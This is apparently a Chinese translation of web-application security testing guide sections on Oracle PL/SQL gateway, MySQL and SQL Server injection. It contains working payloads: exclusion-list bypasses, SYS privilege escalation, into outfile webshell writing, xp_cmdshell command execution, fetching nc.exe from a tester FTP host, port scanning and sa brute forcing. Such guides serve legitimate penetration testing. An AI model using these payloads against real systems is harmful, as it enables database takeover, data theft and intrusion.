
网页上会返回以下输出:
"This page was produced by the PL/SQL Web Toolkit on date"
或者
"This page was produced by the PL/SQL Cartridge on date"

如果没有得到此响应,而是收到 403 Forbidden 响应,则可以推断 PL/SQL 网关正在运行。这是较新版本或已打补丁的系统应有的响应。

访问数据库中的任意 PL/SQL 包

可以利用数据库服务器中默认安装的 PL/SQL 包的漏洞。具体操作取决于 PL/SQL 网关的版本。在早期版本的 PL/SQL 网关中,攻击者可以不受限制地访问数据库服务器中的任意 PL/SQL 包。前面提到的 OWA_UTIL 包可用于运行任意 SQL 查询:
https://www.example.com/pls/dad/OWA_UTIL.CELLSPRINT? P_THEQUERY=SELECT+USERNAME+FROM+ALL_USERS

还可以通过 HTP 包发起跨站脚本攻击(XSS):
https://www.example.com/pls/dad/HTP.PRINT?CBUF=<script>alert('XSS')</script>

显然,这很危险,因此 Oracle 引入了 PL/SQL 排除列表,以防止直接访问此类危险过程。被禁止的请求包括任何以 SYS.* 开头的请求、任何以 DBMS_* 开头的请求、任何包含 HTP.*OWA* 的请求。然而,排除列表是可以绕过的。此外,排除列表并不能阻止访问 CTXSYSMDSYS 模式或其他模式中的包,因此仍然可以利用这些包中的漏洞:
https://www.example.com/pls/dad/CXTSYS.DRILOAD.VALIDATE_STMT?SQLSTMT=SELECT+1+FROM+DUAL

如果数据库服务器仍然存在此漏洞(CVE - 2006 - 0265),此请求将返回一个空白 HTML 页面,并带有 200 OK 响应。

测试 PL/SQL 网关的漏洞

多年来,Oracle PL/SQL 网关存在许多漏洞,包括访问管理页面(CVE - 2002 - 0561)、缓冲区溢出(CVE - 2002 - 0559)、目录遍历漏洞,以及允许攻击者绕过排除列表并访问和执行数据库服务器中任意 PL/SQL 包的漏洞。

绕过 PL/SQL 排除列表

令人惊讶的是,Oracle 多次尝试修复允许攻击者绕过排除列表的漏洞,但每次发布的补丁都会被新的绕过技术攻破。这段糟糕历史的详情

绕过排除列表 - 方法 1

当 Oracle 首次引入 PL/SQL 排除列表以防止攻击者访问任意 PL/SQL 包时,可以通过在模式/包名称前加上十六进制编码的换行符、空格或制表符来轻松绕过该列表:

https://www.example.com/pls/dad/%0ASYS.PACKAGE.PROC
https://www.example.com/pls/dad/%20SYS.PACKAGE.PROC
https://www.example.com/pls/dad/%09SYS.PACKAGE.PROC

绕过排除列表 - 方法 2

较新版本的网关允许攻击者通过在模式/包名称前加上标签来绕过排除列表。在 PL/SQL 中,标签指向可以使用 GOTO 语句跳转的代码行,格式如下:<<NAME>>

  • https://www.example.com/pls/dad/<<LBL>>SYS.PACKAGE.PROC

绕过排除列表 - 方法 3

简单地将模式/包名称放在双引号中,攻击者就可以绕过排除列表。请注意,这在 Oracle 应用服务器 10g 上不起作用,因为该服务器会在将用户请求发送到数据库服务器之前将其转换为小写,而引号文字是区分大小写的 —— 因此 SYSsys 不同,对后者的请求将返回 404 Not Found。但在早期版本中,以下 URL 可以绕过排除列表:
https://www.example.com/pls/dad/"SYS".PACKAGE.PROC

绕过排除列表 - 方法 4

根据 Web 服务器和数据库服务器使用的字符集,某些字符会被转换。因此,根据所使用的字符集,ÿ 字符(0xFF)在数据库服务器上可能会被转换为 Y。另一个常被转换为大写 Y 的字符是长音符号(Macron)—— 0xAF。这可能允许攻击者绕过排除列表:
https://www.example.com/pls/dad/S%FFS.PACKAGE.PROC
https://www.example.com/pls/dad/S%AFS.PACKAGE.PROC

绕过排除列表 - 方法 5

某些版本的 PL/SQL 网关允许使用反斜杠(0x5C)绕过排除列表:
https://www.example.com/pls/dad/%5CSYS.PACKAGE.PROC

绕过排除列表 - 方法 6

这是绕过排除列表最复杂的方法,也是最近才被修复的方法。如果我们请求以下 URL:

https://www.example.com/pls/dad/foo.bar?xyz=123

应用服务器会在数据库服务器上执行以下代码:

declare
 rc__ number;
 start_time__ binary_integer;
 simple_list__ owa_util.vc_arr;
 complex_list__ owa_util.vc_arr;
begin
 start_time__ := dbms_utility.get_time;
 owa.init_cgi_env(:n__,:nm__,:v__);
 htp.HTBUF_LEN := 255;
 null;
 null;
 simple_list__(1) := 'sys.%';
 simple_list__(2) := 'dbms\_%';
 simple_list__(3) := 'utl\_%';
 simple_list__(4) := 'owa\_%';
 simple_list__(5) := 'owa.%';
 simple_list__(6) := 'htp.%';
 simple_list__(7) := 'htf.%';
 if ((owa_match.match_pattern('foo.bar', simple_list__, complex_list__, true))) then
  rc__ := 2;
 else
  null;
  orasso.wpg_session.init();
  foo.bar(XYZ=>:XYZ);
  if (wpg_docload.is_file_download) then
   rc__ := 1;
   wpg_docload.get_download_file(:doc_info);
   orasso.wpg_session.deinit();
   null;
   null;
   commit;
  else
   rc__ := 0;
   orasso.wpg_session.deinit();
   null;
   null;
   commit;
   owa.get_page(:data__,:ndata__);
  end if;
 end if;
 :rc__ := rc__;
 :db_proc_time__ := dbms_utility.get_time—start_time__;
end;

注意第 19 行和第 24 行。在第 19 行,用户的请求会与已知的“不良”字符串列表(即排除列表)进行比对。如果请求的包和过程不包含不良字符串,那么会在第 24 行执行该过程。XYZ 参数作为绑定变量传递。

如果我们接着请求以下 URL:

https://server.example.com/pls/dad/INJECT'POINT

则会执行以下 PL/SQL 代码:

..
simple_list__(7) := 'htf.%';
if ((owa_match.match_pattern('inject'point', simple_list__ complex_list__, true))) then
 rc__ := 2;
else
 null;
 orasso.wpg_session.init();
 inject'point;
..

这会在错误日志中产生一个错误:“PLS - 00103: 遇到符号 ‘POINT’,但期望的是以下符号之一……”。我们由此得到了一种注入任意 SQL 的方法。可以利用这一点来绕过排除列表。首先,攻击者需要找到一个不接受参数且不在排除列表中的 PL/SQL 过程。有很多默认包符合这一条件,例如:

JAVA_AUTONOMOUS_TRANSACTION.PUSH
XMLGEN.USELOWERCASETAGNAMES
PORTAL.WWV_HTP.CENTERCLOSE
ORASSO.HOME
WWC_VERSION.GET_HTTP_DATABASE_INFO

攻击者应选择目标系统上实际可用的函数之一(即请求时返回 200 OK)。作为测试,攻击者可以请求:

https://server.example.com/pls/dad/orasso.home?FOO=BAR

服务器应该返回 404 File Not Found 响应,因为 orasso.home 过程不需要参数,但这里提供了一个参数。然而,在返回 404 之前,会执行以下 PL/SQL 代码:

..
..
if ((owa_match.match_pattern('orasso.home', simple_list__, complex_list__, true))) then
 rc__ := 2;
else
 null;
 orasso.wpg_session.init();
 orasso.home(FOO=>:FOO);
..
..

注意攻击者查询字符串中 FOO 的存在。攻击者可以利用这一点来运行任意 SQL。首先,他们需要闭合括号:

https://server.example.com/pls/dad/orasso.home?);--=BAR

这会导致执行以下 PL/SQL 代码:

..
orasso.home();--=>:);--);
..

注意双连字符(--)后面的所有内容都被视为注释。这个请求会导致内部服务器错误,因为其中一个绑定变量不再被使用,所以攻击者需要把它加回来。实际上,正是这个绑定变量是运行任意 PL/SQL 的关键。目前,他们可以使用 HTP.PRINT 来打印 BAR,并将所需的绑定变量添加为 :1

https://server.example.com/pls/dad/orasso.home?);HTP.PRINT(:1);--=BAR

这应该会返回一个状态码为 200 的响应,并且 HTML 中会包含单词 “BAR”。这里发生的情况是,等号后面的所有内容(在本例中是 BAR)是插入到绑定变量中的数据。使用相同的技术,也可以再次访问 owa_util.cellsprint

https://www.example.com/pls/dad/orasso.home?);OWA_UTIL.CELLSPRINT(:1);--=SELECT+USERNAME+FROM+ALL_USERS

为了执行任意 SQL,包括 DML 和 DDL 语句,攻击者需要插入 execute immediate :1

https://server.example.com/pls/dad/orasso.home?);execute%20immediate%20:1;--=select%201%20from%20dual

注意,输出不会显示出来。可以利用这一点来利用 SYS 拥有的任何 PL/SQL 注入漏洞,从而使攻击者能够完全控制后端数据库服务器。例如,以下 URL 利用了 DBMS_EXPORT_EXTENSION 中的 SQL 注入漏洞:

https://www.example.com/pls/dad/orasso.home?);
execute%20immediate%20:1;--=DECLARE%20BUF%20VARCHAR2(2000);%20BEGIN%20
BUF:=SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('INDEX_NAME','INDEX_SCHEMA','DBMS_OUTPUT.PUT_LINE(:p1); EXECUTE%20IMMEDIATE%20''CREATE%20OR%20REPLACE%20
PUBLIC%20SYNONYM%20BREAKABLE%20FOR%20SYS.OWA_UTIL'';
END;--','SYS',1,'VER',0);END;

评估自定义 PL/SQL Web 应用程序

在进行黑盒安全评估时,自定义 PL/SQL 应用程序的代码是不可获取的,但仍需要对其进行安全漏洞评估。

测试 SQL 注入

应该对每个输入参数进行 SQL 注入漏洞测试。这些漏洞很容易发现和确认。发现漏洞的方法很简单,只需在参数中插入一个单引号,然后检查是否有错误响应(包括 404 未找到错误)。可以使用连接运算符来确认是否存在 SQL 注入。

例如,假设有一个书店 PL/SQL Web 应用程序,允许用户按指定作者搜索书籍:

https://www.example.com/pls/bookstore/books.search?author=DICKENS

如果此请求返回查尔斯·狄更斯(Charles Dickens)所著的书籍,但下面这个请求:

https://www.example.com/pls/bookstore/books.search?author=DICK'ENS

返回错误或 404 状态码,那么可能存在 SQL 注入漏洞。可以使用连接运算符来确认这一点:

https://www.example.com/pls/bookstore/books.search?author=DICK'||'ENS

如果此请求返回查尔斯·狄更斯所著的书籍,那么就确认存在 SQL 注入漏洞。

工具

参考资料

白皮书

MySQL 测试

总结

SQL 注入漏洞通常在输入数据被用于构建 SQL 查询,却未得到充分约束或净化时出现。动态 SQL(通过字符串拼接来构建 SQL 查询)的使用为这类漏洞敞开了大门。SQL 注入使攻击者能够访问 SQL 服务器,并允许攻击者以连接数据库所用用户的权限来执行 SQL 代码。

MySQL 服务器有一些特性,因此某些攻击手段需要针对该应用进行特别定制。这正是本节的主题。

如何测试

当在以 MySQL 数据库为后端的应用程序中发现 SQL 注入漏洞时,可根据 MySQL 版本以及用户在数据库管理系统(DBMS)中的权限实施多种攻击。

MySQL 至少有四个在全球生产环境中使用的版本,分别是 3.23.x4.0.x4.1.x5.0.x。每个版本的功能数量与版本号成正比。

  • 从 4.0 版本开始支持:UNION 操作
  • 从 4.1 版本开始支持:子查询
  • 从 5.0 版本开始支持:存储过程、存储函数以及名为 INFORMATION_SCHEMA 的视图
  • 从 5.0.2 版本开始支持:触发器

需要注意的是,对于 4.0.x 之前的 MySQL 版本,由于未实现子查询功能或 UNION 语句,只能使用基于布尔值或时间的盲注攻击。

从现在起,我们假设存在一个典型的 SQL 注入漏洞,该漏洞可由类似于SQL 注入测试章节中描述的请求触发。

https://www.example.com/page.php?id=2

单引号问题

在利用 MySQL 的特性之前,必须考虑字符串在语句中的表示方式,因为 Web 应用程序通常会对单引号进行转义处理。

MySQL 对引号的转义规则如下:

'A string with \'quotes\''

也就是说,MySQL 将转义后的撇号 \' 视为普通字符,而非元字符。

因此,如果应用程序为了正常运行需要使用常量字符串,则需要区分两种情况:

  1. Web 应用对单引号 ' 进行转义 => \'
  2. Web 应用不转义单引号 ' => '

在 MySQL 中,有一种标准方法可以绕过对单引号的需求,即无需使用单引号来声明常量字符串。

假设我们想知道一条记录中名为 password 的字段的值,条件如下:

  1. password like 'A%'
  2. 使用拼接十六进制表示的 ASCII 值:
    password LIKE 0x4125
  3. 使用 char() 函数:
    password LIKE CHAR(65,37)

多混合查询

MySQL 库连接器不支持用分号 ; 分隔的多个查询,因此无法像在 Microsoft SQL Server 中那样,在单个 SQL 注入漏洞中注入多个不同类型的 SQL 命令。

例如,以下注入会导致错误:

1 ; update tablename set code='javascript code' where 1 --

信息收集

识别 MySQL

当然,首先要确定后端数据库是否为 MySQL DBMS。MySQL 服务器有一个特性,可让其他 DBMS 忽略 MySQL 方言的子句。当注释块 '/**/' 中包含感叹号 '/*! sql here*/' 时,MySQL 会对其进行解析,而其他 DBMS 则将其视为普通注释块,详情见 MySQL 手册

示例:

1 /*! and 1=0 */

如果存在 MySQL,注释块内的子句将被解析。

版本信息

有三种方法可以获取此信息:

  1. 使用全局变量 @@version
  2. 使用函数 VERSION()
  3. 使用带有版本号的注释指纹 /*!40110 and 1=0*/

这意味着

if(version >= 4.1.10)
    add 'and 1=0' to the query.

这些方法是等效的,因为结果相同。

带内注入:

1 AND 1=0 UNION SELECT @@version /*

推断注入:

1 AND @@version like '4.0%'

响应内容可能如下:

5.0.22-log

登录用户

MySQL 服务器依赖两种类型的用户。

  1. USER():连接到 MySQL 服务器的用户。
  2. CURRENT_USER():执行查询的内部用户。

两者之间存在一些差异。主要区别在于,匿名用户(如果允许)可以使用任何名称进行连接,但 MySQL 内部用户的名称为空 ('')。另一个区别是,如果未另行声明,存储过程或存储函数将以创建者用户的身份执行。这可以通过 CURRENT_USER 来了解。

带内注入:

1 AND 1=0 UNION SELECT USER()

推断注入:

1 AND USER() like 'root%'

响应内容可能如下:

user@hostname

当前使用的数据库名称

有一个内置函数 DATABASE()

带内注入:

1 AND 1=0 UNION SELECT DATABASE()

推断注入:

1 AND DATABASE() like 'db%'

预期结果,类似如下的字符串:

dbname

INFORMATION_SCHEMA

从 MySQL 5.0 版本开始,创建了一个名为 INFORMATION_SCHEMA 的视图。它允许我们获取有关数据库、表、列以及过程和函数的所有信息。

INFORMATION_SCHEMA 中的表描述
SCHEMATA用户至少拥有 SELECT 权限的所有数据库
SCHEMA_PRIVILEGES用户对每个数据库拥有的权限
TABLES用户至少拥有 SELECT 权限的所有表
TABLE_PRIVILEGES用户对每个表拥有的权限
COLUMNS用户至少拥有 SELECT 权限的所有列
COLUMN_PRIVILEGES用户对每列拥有的权限
VIEWS用户至少拥有 SELECT 权限的所有视图
ROUTINES过程和函数(需要 EXECUTE 权限)
TRIGGERS触发器(需要 INSERT 权限)
USER_PRIVILEGES连接用户拥有的权限

所有这些信息都可以使用 SQL 注入部分中描述的已知技术进行提取。

攻击向量

写入文件

如果连接的用户具有 FILE 权限,并且单引号未被转义,则可以使用 into outfile 子句将查询结果导出到文件中。

Select * from table into outfile '/tmp/file'

注意:无法绕过文件名周围的单引号。因此,如果对单引号进行了某种净化处理(如转义为 \'),则无法使用 into outfile 子句。

这种攻击可以作为一种带外技术,用于获取查询结果的信息,或者在 Web 服务器目录中写入可执行文件。

示例:

1 limit 1 into outfile '/var/www/root/test.jsp' FIELDS ENCLOSED BY '//' LINES TERMINATED BY '\n<%jsp code here%>';

结果将存储在一个文件中,该文件具有 rw-rw-rw 权限,由 MySQL 用户和组拥有。

/var/www/root/test.jsp 文件将包含:

//field values//
<%jsp code here%>

读取文件

load_file 是一个内置函数,在文件系统权限允许的情况下可以读取文件。如果连接的用户具有 FILE 权限,则可以使用该函数获取文件内容。可以使用前面描述的技术绕过单引号转义净化处理。

load_file('filename')

可以使用标准技术将整个文件内容导出。

标准 SQL 注入攻击

在标准的 SQL 注入中,结果可以直接作为正常输出显示在页面上,也可以作为 MySQL 错误显示。通过使用前面提到的 SQL 注入攻击方法和已经描述过的 MySQL 特性,可以轻松实现直接 SQL 注入,其深度主要取决于渗透测试人员所面对的 MySQL 版本。

一种有效的攻击方法是通过强制函数/过程或服务器本身抛出错误来了解结果。可以在 MySQL 手册 中找到 MySQL 抛出的错误列表,特别是内置函数抛出的错误。

带外 SQL 注入

可以使用 into outfile 子句来实现带外注入。

盲注 SQL 注入

对于盲注 SQL 注入,MySQL 服务器提供了一组有用的内置函数。

  • 字符串长度:
    • LENGTH(str)
  • 从给定字符串中提取子字符串:
    • SUBSTRING(string, offset, #chars_returned)
  • 基于时间的盲注:
    • BENCHMARKSLEEP 函数 BENCHMARK(#ofcycles,action_to_be_performed)
      当基于布尔值的盲注无法得到结果时,可以使用 BENCHMARK 函数进行时间攻击。
      可参考 SLEEP()(MySQL > 5.0.x)作为 BENCHMARK 的替代方法。

完整列表请参考 MySQL 手册

工具

参考资料

白皮书

案例研究

SQL Server 测试

总结

本节将探讨一些利用微软 SQL Server 特定特性的 SQL 注入 技术。

当输入数据在构建 SQL 查询时未得到充分约束或清理,就会出现 SQL 注入漏洞。动态 SQL(通过字符串拼接来构建 SQL 查询)的使用为这些漏洞提供了可乘之机。SQL 注入使攻击者能够访问 SQL 服务器,并以连接数据库所用用户的权限执行 SQL 代码。

正如 SQL 注入 中所述,一次 SQL 注入攻击需要两个要素:一个入口点和一段可注入的代码。应用程序处理的任何用户可控参数都可能隐藏着漏洞,这包括:

  • 查询字符串中的应用程序参数(例如,GET 请求)
  • 作为 POST 请求主体一部分包含的应用程序参数
  • 与浏览器相关的信息(例如,用户代理、引用页)
  • 与主机相关的信息(例如,主机名、IP 地址)
  • 与会话相关的信息(例如,用户 ID、Cookie)

微软 SQL Server 有一些独特的特性,因此某些攻击手段需要针对该应用程序进行特别定制。

如何测试

SQL Server 的特性

首先,让我们了解一些在 SQL 注入测试中有用的 SQL Server 运算符、命令和存储过程:

  • 注释运算符:--(用于强制查询忽略原查询的剩余部分,但并非在所有情况下都必要)
  • 查询分隔符:;(分号)
  • 有用的存储过程包括:
    • xp_cmdshell:以当前运行权限在服务器上执行任何命令 shell。默认情况下,只有 sysadmin 角色的用户可以使用该存储过程,在 SQL Server 2005 中默认是禁用的(可以使用 sp_configure 重新启用)。
    • xp_regread:从注册表中读取任意值(未文档化的扩展存储过程)。
    • xp_regwrite:向注册表中写入任意值(未文档化的扩展存储过程)。
    • sp_makewebtask:启动一个 Windows 命令 shell 并传入一个字符串以供执行,任何输出都将作为文本行返回,需要 sysadmin 权限。
    • xp_sendmail:发送一封电子邮件,可能包含查询结果集作为附件,发送给指定的收件人。此扩展存储过程使用 SQL Mail 发送消息。

现在,让我们看看一些使用上述函数的 SQL Server 特定攻击示例。这些示例大多会使用 exec 函数。

下面展示了如何执行一个 shell 命令,将 dir c:\inetpub 命令的输出写入一个可浏览的文件,假设 Web 服务器和数据库服务器位于同一主机上。以下语法使用了 xp_cmdshell

exec master.dbo.xp_cmdshell 'dir c:\inetpub > c:\inetpub\wwwroot\test.txt'--

或者,我们也可以使用 sp_makewebtask

exec sp_makewebtask 'C:\Inetpub\wwwroot\test.txt', 'select * from master.dbo.sysobjects'--

如果执行成功,将创建一个文件,渗透测试人员可以浏览该文件。请记住,sp_makewebtask 已被弃用,尽管它在 2005 版及之前的所有 SQL Server 版本中都能工作,但未来可能会被移除。

此外,SQL Server 的内置函数和环境变量非常有用。以下示例使用 db_name() 函数触发一个错误,从而返回数据库的名称:

/controlboard.asp?boardID=2&itemnum=1%20AND%201=CONVERT(int,%20db_name())

注意 convert 函数的使用:

CONVERT ( data_type [ ( length ) ] , expression [ , style ] )

CONVERT 函数会尝试将 db_name 的结果(一个字符串)转换为整数变量,从而触发一个错误。如果易受攻击的应用程序显示该错误,错误信息中将包含数据库的名称。

以下示例使用环境变量 @@version,结合 union select 风格的注入,来查找 SQL Server 的版本:

/form.asp?prop=33%20union%20select%201,2006-01-06,2007-01-06,1,'stat','name1','name2',2006-01-06,1,@@version%20--

下面是同样的攻击,但再次使用了转换技巧:

/controlboard.asp?boardID=2&itemnum=1%20AND%201=CONVERT(int,%20@@VERSION)

通过利用 SQL 注入攻击或直接访问 SQL 监听器,收集信息有助于发现 SQL Server 软件的漏洞。

接下来,我们将展示几个通过不同入口点利用 SQL 注入漏洞的示例。

示例 1:在 GET 请求中测试 SQL 注入

最简单(有时也是最有成效)的情况是登录页面要求用户输入用户名和密码进行登录。你可以尝试输入以下字符串(不包含双引号):' or '1'='1

https://vulnerable.web.app/login.asp?Username='%20or%20'1'='1&Password='%20or%20'1'='1

如果应用程序使用动态 SQL 查询,并且该字符串被追加到用户凭据验证查询中,这可能会导致成功登录应用程序。

示例 2:在 GET 请求中测试 SQL 注入

为了了解表中存在多少列,可以使用以下 URL:

https://vulnerable.web.app/list_report.aspx?number=001%20UNION%20ALL%201,1,'a',1,1,1%20FROM%20users;--

示例 3:在 POST 请求中进行测试

SQL 注入,HTTP POST 请求内容:email=%27&whichSubmit=submit&submit.x=0&submit.y=0

一个完整的 POST 请求示例(https://vulnerable.web.app/forgotpass.asp):

POST /forgotpass.asp HTTP/1.1
Host: vulnerable.web.app
[...]
Referer: https://vulnerable.web.app/forgotpass.asp
Content-Type: application/x-www-form-urlencoded
Content-Length: 50

email=%27&whichSubmit=submit&submit.x=0&submit.y=0

当在电子邮件字段中输入单引号字符 ' 时,会得到以下错误消息:

Microsoft OLE DB Provider for SQL Server error '80040e14'
Unclosed quotation mark before the character string '' '.
/forgotpass.asp, line 15

示例 4:另一个(有用的)GET 请求示例

获取应用程序的源代码

a'; master.dbo.xp_cmdshell ' copy c:\inetpub\wwwroot\login.aspx c:\inetpub\wwwroot\login.txt';--

示例 5:自定义 xp_cmdshell

所有描述 SQL Server 安全最佳实践的书籍和论文都建议在 SQL Server 2000 中禁用 xp_cmdshell(在 SQL Server 2005 中,它默认是禁用的)。然而,如果我们拥有系统管理员权限(原生权限或通过暴力破解系统管理员密码获得,见下文),通常可以绕过此限制。

在 SQL Server 2000 上:

  • 如果使用 sp_dropextendedproc 禁用了 xp_cmdshell,我们可以简单地注入以下代码:

sp_addextendedproc 'xp_cmdshell','xp_log70.dll'

  • 如果上述代码不起作用,意味着 xp_log70.dll 已被移动或删除。在这种情况下,我们需要注入以下代码:
CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS
    DECLARE @result int, @OLEResult int, @RunResult int
    DECLARE @ShellID int
    EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT
    IF @OLEResult <> 0 SELECT @result = @OLEResult
    IF @OLEResult <> 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)
    EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait
    IF @OLEResult <> 0 SELECT @result = @OLEResult
    IF @OLEResult <> 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)
    EXECUTE @OLEResult = sp_OADestroy @ShellID
    return @result

这段由 Antonin Foller 编写的代码(见页面底部的链接)使用 sp_oacreatesp_oamethodsp_oadestroy 创建了一个新的 xp_cmdshell(当然,前提是这些功能也没有被禁用)。在使用之前,我们需要删除之前创建的第一个 xp_cmdshell(即使它没有起作用),否则两个声明会冲突。

在 SQL Server 2005 上,可以通过注入以下代码来启用 xp_cmdshell

master..sp_configure 'show advanced options',1
reconfigure
master..sp_configure 'xp_cmdshell',1
reconfigure

示例 6:引用页(Referer)/用户代理(User-Agent)

REFERER 头部设置为:

Referer: https://vulnerable.web.app/login.aspx', 'user_agent', 'some_ip'); [SQL 代码]--

这允许执行任意 SQL 代码。将用户代理(User-Agent)头部设置为以下内容时,也会发生同样的情况:

User-Agent: user_agent', 'some_ip'); [SQL 代码]--

示例 7:将 SQL Server 用作端口扫描器

在 SQL Server 中,OPENROWSET 是最有用的命令之一(至少对渗透测试人员而言),它用于在另一个数据库服务器上运行查询并检索结果。渗透测试人员可以使用此命令通过注入以下查询来扫描目标网络中其他机器的端口:

select * from OPENROWSET('SQLOLEDB','uid=sa;pwd=foobar;Network=DBMSSOCN;Address=x.y.w.z,p;timeout=5','select 1')--

此查询将尝试连接到地址为 x.y.w.z 的机器的 p 端口。如果端口关闭,将返回以下消息:

SQL Server does not exist or access denied

另一方面,如果端口开放,将返回以下错误之一:

General network error. Check your network documentation
OLE DB provider 'sqloledb' reported an error. The provider did not give any information about the error.

当然,错误消息并非总是可用。在这种情况下,我们可以使用响应时间来了解情况:如果端口关闭,将消耗超时时间(在本示例中为 5 秒);而如果端口开放,将立即返回结果。

请记住,OPENROWSET 在 SQL Server 2000 中默认启用,但在 SQL Server 2005 中默认禁用。

示例 8:上传可执行文件

一旦我们能够使用 xp_cmdshell(无论是原生的还是自定义的),就可以轻松地将可执行文件上传到目标数据库服务器。一个常见的选择是 netcat.exe,但任何木马在此处都可能有用。如果目标允许发起与测试人员机器的 FTP 连接,那么只需注入以下查询:

exec master..xp_cmdshell 'echo open ftp.tester.org > ftpscript.txt';--
exec master..xp_cmdshell 'echo USER >> ftpscript.txt';--
exec master..xp_cmdshell 'echo PASS >> ftpscript.txt';--
exec master..xp_cmdshell 'echo bin >> ftpscript.txt';--
exec master..xp_cmdshell 'echo get nc.exe >> ftpscript.txt';--
exec master..xp_cmdshell 'echo quit >> ftpscript.txt';--
exec master..xp_cmdshell 'ftp -s:ftpscript.txt';--

此时,nc.exe 将被上传并可用。

如果防火墙不允许使用 FTP,我们可以利用 Windows 调试器 debug.exe 来解决这个问题,debug.exe 默认安装在所有 Windows 机器上。debug.exe 支持脚本编写,并且能够通过执行适当的脚本文件来创建可执行文件。我们需要做的是将可执行文件转换为调试脚本(这是一个纯 ASCII 文件),逐行上传该脚本,最后对其调用 debug.exe。有几个工具可以创建此类调试文件(例如 Ollie Whitehouse 的 makescr.exetoolcrypt.orgdbgtool.exe)。因此,需要注入的查询如下:

exec master..xp_cmdshell 'echo [调试脚本第 1 行,共 n 行] > debugscript.txt';--
exec master..xp_cmdshell 'echo [调试脚本第 2 行,共 n 行] >> debugscript.txt';--
...
exec master..xp_cmdshell 'echo [调试脚本第 n 行,共 n 行] >> debugscript.txt';--
exec master..xp_cmdshell 'debug.exe < debugscript.txt';--

此时,我们的可执行文件将在目标机器上可用,随时可以执行。有一些工具可以自动化这个过程,最著名的是在 Windows 上运行的 Bobcat 和在 Unix 上运行的 Sqlninja(请参阅页面底部的工具列表)。

当信息不显示时获取信息(带外方式)

当 Web 应用程序不返回任何信息(例如描述性错误消息,参见盲 SQL 注入)时,也并非毫无办法。例如,可能有人可以访问源代码(例如,因为 Web 应用程序基于开源软件)。那么,渗透测试人员可以利用在离线状态下发现的 Web 应用程序中的所有 SQL 注入漏洞。尽管入侵防御系统(IPS)可能会阻止其中一些攻击,但最好的方法是按以下步骤进行:在为此目的创建的测试环境中开发和测试攻击,然后针对正在测试的 Web 应用程序执行这些攻击。

其他带外攻击选项在上面的示例 4 中有所描述。

盲 SQL 注入攻击

试错法

或者,攻击者可能会碰运气。也就是说,攻击者可以假设 Web 应用程序中存在盲 SQL 注入或带外 SQL 注入漏洞。然后,他将选择一个攻击向量(例如,一个 Web 入口),对该通道使用模糊测试向量,并观察响应。例如,如果 Web 应用程序使用以下查询来查找书籍:

select * from books where title="用户输入的文本"

那么渗透测试人员可能会输入文本:'Bomba' OR 1=1-。如果数据未经过适当验证,查询将执行并返回整个书籍列表。这表明存在 SQL 注入漏洞。渗透测试人员随后可以对查询进行“调整”,以评估此漏洞的严重性。

注意: 在 SQL 查询中注入 OR 1=1 条件时要小心。虽然在你注入的初始上下文中这可能无害,但应用程序通常会在多个不同的查询中使用单个请求的数据。例如,如果你的条件进入了 UPDATEDELETE 语句,这可能会导致意外的数据丢失。

显示多条错误消息的情况

另一方面,如果没有可用的先验信息,仍然可以通过利用任何“隐蔽通道”进行攻击。可能会出现描述性错误消息被屏蔽,但错误消息仍会提供一些信息的情况。例如:

  • 在某些情况下,Web 应用程序(实际上是 Web 服务器)可能会返回传统的 500:内部服务器错误,例如当应用程序返回一个可能由未闭合引号的查询引发的异常时。
  • 而在其他情况下,服务器将返回 200 OK 消息,但 Web 应用程序会返回开发人员插入的一些错误消息,如 Internal server errorbad data

这一点信息可能足以让我们了解 Web 应用程序如何构建动态 SQL 查询,并调整攻击方法。另一种带外方法是通过 HTTP 可浏览文件输出结果。

计时攻击

当应用程序没有可见反馈时,还有一种进行盲 SQL 注入攻击的可能性:通过测量 Web 应用程序响应请求所需的时间。Anley 在一篇文章中描述了这种攻击方式,我们从该文章中选取以下示例。一种典型的方法是使用 waitfor delay 命令:假设攻击者想检查 pubs 示例数据库是否存在,他只需注入以下命令:

if exists (select * from pubs..pub_info) waitfor delay '0:0:5'

根据查询返回所需的时间,我们可以得到答案。实际上,这里涉及两件事:一个是 SQL 注入漏洞,另一个是“隐蔽通道”,它允许渗透测试人员通过每个查询获取 1 位信息。因此,使用多个查询(查询数量与所需信息的位数相同),渗透测试人员可以获取数据库中的任何数据。看以下查询:

declare @s varchar(8000)
declare @i int
select @s = db_name()
select @i = [某个值]
if (select len(@s)) < @i waitfor delay '0:0:5'

通过测量响应时间并使用不同的 @i 值,我们可以推断出当前数据库名称的长度,然后使用以下查询开始提取名称本身:

if (ascii(substring(@s, @byte, 1)) & ( power(2, @bit))) > 0 waitfor delay '0:0:5'

如果当前数据库名称的第 @byte 个字节的第 @bit 位为 1,此查询将等待 5 秒;如果为 0,则立即返回。通过嵌套两个循环(一个用于 @byte,一个用于 @bit),我们可以提取整个信息。

然而,可能会出现 waitfor 命令不可用的情况(例如,因为它被 IPS/ Web 应用程序防火墙过滤)。但这并不意味着无法进行盲 SQL 注入攻击,渗透测试人员只需想出一个未被过滤的耗时操作即可。例如:

declare @i int select @i = 0
while @i < 0xaffff begin
select @i = @i + 1
end
检查版本和漏洞

同样的计时方法也可用于确定我们所面对的 SQL Server 版本。当然,我们会利用内置的 @@version 变量。考虑以下查询:

select @@version

在 SQL Server 2005 上,它将返回类似以下内容:

Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37

字符串中的 2005 部分从第 22 个字符到第 25 个字符。因此,可以注入以下查询:

if substring((select @@version),25,1) = 5 waitfor delay '0:0:5'

如果 @@version 变量的第 25 个字符是 5,此查询将等待 5 秒,表明我们面对的是 SQL Server 2005。如果查询立即返回,我们可能面对的是 SQL Server 2000,通过另一个类似的查询可以消除所有疑问。

示例 9:暴力破解系统管理员密码

为了暴力破解系统管理员密码,我们可以利用 OPENROWSET 需要正确的凭据才能成功建立连接这一事实,并且这种连接也可以“回环”到本地数据库服务器。将这些特性与基于响应时间的推理注入攻击相结合,我们可以注入以下代码:

select * from OPENROWSET('SQLOLEDB','';'sa';'<pwd>','select 1;waitfor delay ''0:0:5'' ')

